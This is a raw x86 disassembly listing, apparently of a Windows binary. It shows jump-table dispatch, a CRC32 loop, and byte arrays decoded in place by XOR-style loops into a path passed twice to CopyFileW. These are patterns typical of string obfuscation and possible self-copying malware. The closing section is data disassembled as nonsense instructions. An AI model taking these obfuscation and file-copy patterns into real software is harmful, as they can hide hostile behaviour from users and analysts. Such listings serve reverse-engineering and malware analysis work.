call fcn.004095b0
add esp, 4
jmp 0x428680
push ebx
call fcn.004095b0
add esp, 4
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x447dbc]
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x2c]
push esi
mov dword [ebp - 0x6c], edi
push edi
call fcn.00440400
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447d74]
jmp dword [0x447dc4]
push dword [ebp - 0x6c]
call fcn.004095b0
add esp, 4
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
xor eax, eax
cmp edx, ecx
sete al
jmp dword [eax*4 + 0x447dcc]
mov ecx, dword [case.0x428850.19]
xor eax, eax
nop
nop
nop
nop
nop
nop
jmp ecx
push 0
mov edi, dword [ebp - 0x24]
push edi
push dword [esi]
call fcn.004407d0
add esp, 0xc
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447d7c]
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.004095a0
add esp, 4
push 0
push esi
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x5c], eax
push eax
push dword [esi]
call fcn.004408e0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447d84]
mov esi, dword [edi]
mov edi, dword [ebp - 0x5c]
mov byte [edi + esi], 0
push 0x20
call fcn.004095a0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x58], eax
mov ecx, eax
push esi
push edi
call case.0x424f9d.372
movzx eax, al
jmp dword [eax*4 + 0x447d8c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], 0x3b343adf
mov dword [ecx + 4], 0x26342c07
mov dword [ecx + 8], 0x3b272bf3
mov dword [ecx + 0xc], 0xcce9200e
mov dword [ecx + 0x10], 0x223f3c2c
mov dword [ecx + 0x14], 0x3435dcef
mov dword [ecx + 0x18], 0x23242423
mov word [ecx + 0x1c], 0x9523
mov dword [ecx + 0x1e], 0
mov word [ecx + 0x22], 0
mov eax, 0xdd
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ecx]
lea esi, [eax - 0x76bdf500]
or esi, edi
and edi, eax
mov edx, esi
not edx
add edx, edi
sub esi, edi
and esi, 0xec
and edx, 0x13
sub edx, esi
add dl, 0x42
mov byte [ecx], dl
inc ecx
dec eax
cmp eax, 0xb9
jne case.default.0x428850
mov ecx, dword [ebp - 0x58]
push dword [ebp - 0x20]
call fcn.0042a520
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447d94]
jmp dword [0x447da4]
mov esi, dword [ebp - 0x58]
mov ecx, esi
call fcn.0042a680
push esi
call fcn.004095b0
add esp, 4
mov eax, dword [case.0x4276d3.23]
mov esi, dword [ebp - 0x2c]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
add eax, 8
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447d9c]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x24]
mov dword [edx + eax + 4], ecx
mov eax, dword [ebp - 0x20]
add eax, 8
mov dword [ebx + 4], eax
mov esi, dword [ebp - 0x70]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447d9c]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov edi, ecx
sub edi, eax
cmp ecx, dword [ebx + 8]
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x60], edi
jne 0x428988
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], ecx
mov ecx, edi
sar ecx, 3
lea eax, [ecx + 1]
mov edx, ecx
shr edx, 1
add edx, ecx
cmp edx, eax
ja 0x428900
mov edx, eax
mov dword [ebp - 0x68], edx
lea eax, [edx*8]
push eax
call fcn.004095a0
add esp, 4
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x428973
cmp edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
je 0x428961
mov ecx, edx
not ecx
mov dword [ebp - 0x30], ecx
mov ebx, edx
mov edi, edx
nop
nop
nop
mov esi, ecx
and esi, edx
mov edx, ebx
and edx, dword [ebp - 0x30]
sub edx, esi
mov esi, dword [edi]
mov eax, dword [ebp - 0x24]
mov dword [eax + edx], esi
mov esi, dword [edi + 4]
mov dword [eax + edx + 4], esi
mov edx, dword [ebp - 0x10]
mov dword [edi], 0
add ebx, 8
add ecx, 0xfffffff8
add edi, 8
cmp edi, dword [ebp - 0x20]
jne 0x428930
push edx
call fcn.004095b0
add esp, 4
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x24]
mov dword [ebx], eax
lea ecx, [eax + edi]
mov dword [ebx + 4], ecx
mov edx, eax
mov eax, dword [ebp - 0x68]
lea eax, [edx + eax*8]
mov dword [ebx + 8], eax
mov eax, edx
mov dword [ebp - 0x20], ecx
mov dword [eax + edi], 0
mov dword [ebp - 0x24], eax
mov dword [eax + edi + 4], 0
xor eax, eax
mov esi, dword [ebp - 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax], 0
lea eax, [eax + 1]
jne 0x4289b0
push eax
mov ebx, eax
call fcn.004095a0
add esp, 4
mov ecx, dword [ebp - 0x24]
mov dword [ecx + edi], eax
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, ebx
xor ecx, 3
mov edx, ebx
or edx, 0xfffffffc
and edx, ecx
add eax, edx
add edx, esi
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [ebp - 0x10], ebx
mov ecx, ebx
inc cl
test cl, 1
mov ebx, dword [ebp - 0x18]
jne 0x428a24
mov esi, dword [ebp - 0x10]
mov ecx, esi
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp esi, 1
je 0x4288a0
mov ecx, 0xffffffff
mov eax, 1
nop
nop
mov edx, dword [ebp - 0x14]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebx, edi
shl ebx, 0x1d
sar ebx, 0x1f
and ebx, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebx
mov ebx, edi
shl ebx, 0x1b
sar ebx, 0x1f
and ebx, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebx
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp dword [ebp - 0x10], eax
jne 0x428a30
not ecx
mov ebx, dword [ebp - 0x18]
jmp 0x4288a0
mov dword [esi], 0x33083173
mov dword [esi + 4], 0x3f5d3d58
mov dword [esi + 8], 0x3b4c394f
mov dword [esi + 0xc], 0x472f452a
mov dword [esi + 0x10], 0x4326412f
mov dword [esi + 0x14], 0x4f394d2f
mov dword [esi + 0x18], 0x4b24493e
mov dword [esi + 0x1c], 0x5739553d
mov dword [esi + 0x20], 0x532c5166
mov dword [esi + 0x24], 0x5f305d30
mov word [esi + 0x28], 0x5958
mov dword [esi + 0x2a], 0
mov word [esi + 0x2e], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0xb4
xor cl, byte [esi + eax]
add cl, 0x7c
mov byte [esi + eax], cl
inc eax
cmp eax, 0x30
jne 0x428b30
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [esi], 0x33083173
mov dword [esi + 4], 0x3f5d3d58
mov dword [esi + 8], 0x3b4c394f
mov dword [esi + 0xc], 0x472f452a
mov dword [esi + 0x10], 0x4326412f
mov dword [esi + 0x14], 0x4f394d2f
mov dword [esi + 0x18], 0x4b24493e
mov dword [esi + 0x1c], 0x5739553d
mov dword [esi + 0x20], 0x532c5166
mov dword [esi + 0x24], 0x5f305d30
mov word [esi + 0x28], 0x5958
mov dword [esi + 0x2a], 0
mov word [esi + 0x2e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xb4
xor cl, byte [esi + eax]
add cl, 0x7c
mov byte [esi + eax], cl
inc eax
cmp eax, 0x30
jne 0x428bb0
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x447d6c]
jbe 0x447d71
add bl, ch
jbe 0x447d75
inc edx
add byte [ebp + 0x78], bl
inc edx
add byte [ecx + 0x78], ch
inc edx
add al, ah
jns 0x447d81
add byte [edi - 0x1fffbd88], ch
jns 0x447d89
add byte [esi + 0x7b], ch
inc edx
add byte [ebx + edi*2 + 0x42], bh
add byte [ebp - 0x53ffbd85], bh
jl 0x447d99
add bl, cl
jl 0x447d9d
add cl, cl
xchg byte [edx], al
loope 0x447dde
inc edx
add ah, dl
mov al, byte [edx]
dec esi
mov eax, dword [edx]
leave
xchg byte [edx], al
aam 0x8a
inc edx
add dh, ch
mov al, byte [edx]
out dx, al
xchg byte [edx], al
and al, byte [edi - 0x7f4bffbe]
inc edx
add byte [esi], bh
xchg dword [edx], eax
ret
xchg dword [edx], eax
push edi
mov byte [edx], al
mov esi, 0x57004287
mov byte [edx], al
or byte [eax - 0x77a8ffbe], 0x42
add cl, cl
mov byte [edx], al
push edi
mov byte [edx], al
leave
mov byte [edx], al
pop ebp
mov byte [edx], al
jo 0x447d32
inc edx
add byte [eax - 0x7fffbd78], al
mov byte [edx], al
or byte [eax - 0x793cffbe], 0x42
add byte [ecx - 1275051392], ch
add byte [edx], 0xf4
xchg byte [edx], al
inc edi
add dword [edx], case.0x428850.15
adc al, byte [edi - 0x78dfffbe]
inc edx
add byte [eax], ah
xchg dword [edx], eax
bound eax, qword [esi - 0x78dfffbe]
inc edx
add dh, al
add byte [edx], 0x4c
xchg byte [edx], al
add eax, 0x1d004283
inc edx
add byte [eax], ah
xchg dword [edx], eax
mov byte [edx - 0x79b3ffbe], 0x42
add byte [486556291], al
add dword [edx], 0xd
add dword [edx], 0x4c
xchg byte [edx], al
jns 0x447d81
inc edx
add byte [ebx + eax*4 - 0x7b30ffbe], cl
inc edx
add byte [edi - 0x1fffbd7d], dh
add dword [edx], 0xffffffbf
add dword [edx], 0xa
test byte [edx], al
loopne 0x447d9d
inc edx
add byte [ebx + 0x29004284], bh
test byte [edx], al
add dword [edx + eax*2 + 0x427ce700], 0
add dword [edx + eax*2 + 1115527424], 0
add dword [edx + eax*2 + 1115544320], 0
lds edi, [ebp + 66]
add byte [edi], al
jle 0x447e85
add bl, al
jle 0x447e89
add byte [eax + 0x7e], bl
inc edx
add byte [eax + 0x7e], al
inc edx
add byte [edi + 0x4e00427e], al
jg 0x447e99
add byte [esi + 0x7f], cl
inc edx
add byte [0x4000427f], bl
jg 0x447ea1
add byte [eax], al
jg 0x447ea5
add byte [eax + 0x7f], al
inc edx
add byte [eax + 0x7f], al
inc edx
add byte [eax + 0x7f], al
inc edx
add byte [edx + 0x7f], al
inc edx
add byte [esi + 0x7f], cl
inc edx
add byte [ebx], cl
jg 0x447ebd
add byte [edi + edi*2 + 0x42], bl
add byte [eax + 0x7f], ch
inc edx
add dl, dl
jg 0x447ec9
add dh, bl
jg 0x447ecd
add byte [esi - 0x3affbd83], dh
jge 0x447ed5
add byte [edi - 0x44ffbd7c], cl
test byte [edx], al
xchg ebp, eax
test byte [edx], al
movsd dword es:[edi], dword [esi]
test byte [edx], al
mov ebx, 0xa5004284
test byte [edx], al
movsd dword es:[edi], dword [esi]
test byte [edx], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
mov ebx, 0xc4004284
test byte [edx], al
iretd
test dword [edx], eax
jb 0x447e53
test dword [edx], eax
jo 0x447e57
inc edx
add byte [eax - 0x7b], dh
inc edx
add byte [eax - 0x7b], bh
inc edx
add byte [eax - 0x6fffbd7b], dl
test dword [edx], eax
nop
test dword [edx], eax
nop
test dword [edx], eax
nop
test dword [edx], eax
xchg esi, eax
test dword [edx], eax
nop
test dword [edx], eax
movsd dword es:[edi], dword [esi]
test dword [edx], eax
stosd dword es:[edi], eax
test dword [edx], eax
cmp eax, 0x4a004286
xchg byte [edx], al
pushal
xchg byte [edx], al
pushal
xchg byte [edx], al
bound eax, qword [esi - 0x799fffbe]
inc edx
add byte [edi - 0x2fffbd74], dh
mov word [edx], es
ror byte [edx + eax*2 + 0x428cd000], 1
add al, dl
mov word [edx], es
mov al, byte [0xd000429a]
mov word [edx], es
add al, 0x8d
inc edx
add byte [edx], dl
lea eax, [edx]
or al, 0x8d
inc edx
add byte [eax - 0x70ffbd66], ah
lcall 0x42, 0x9a860042
mov al, byte [0x8600429a]
lcall 66, 0x8f480042
pop dword [edx]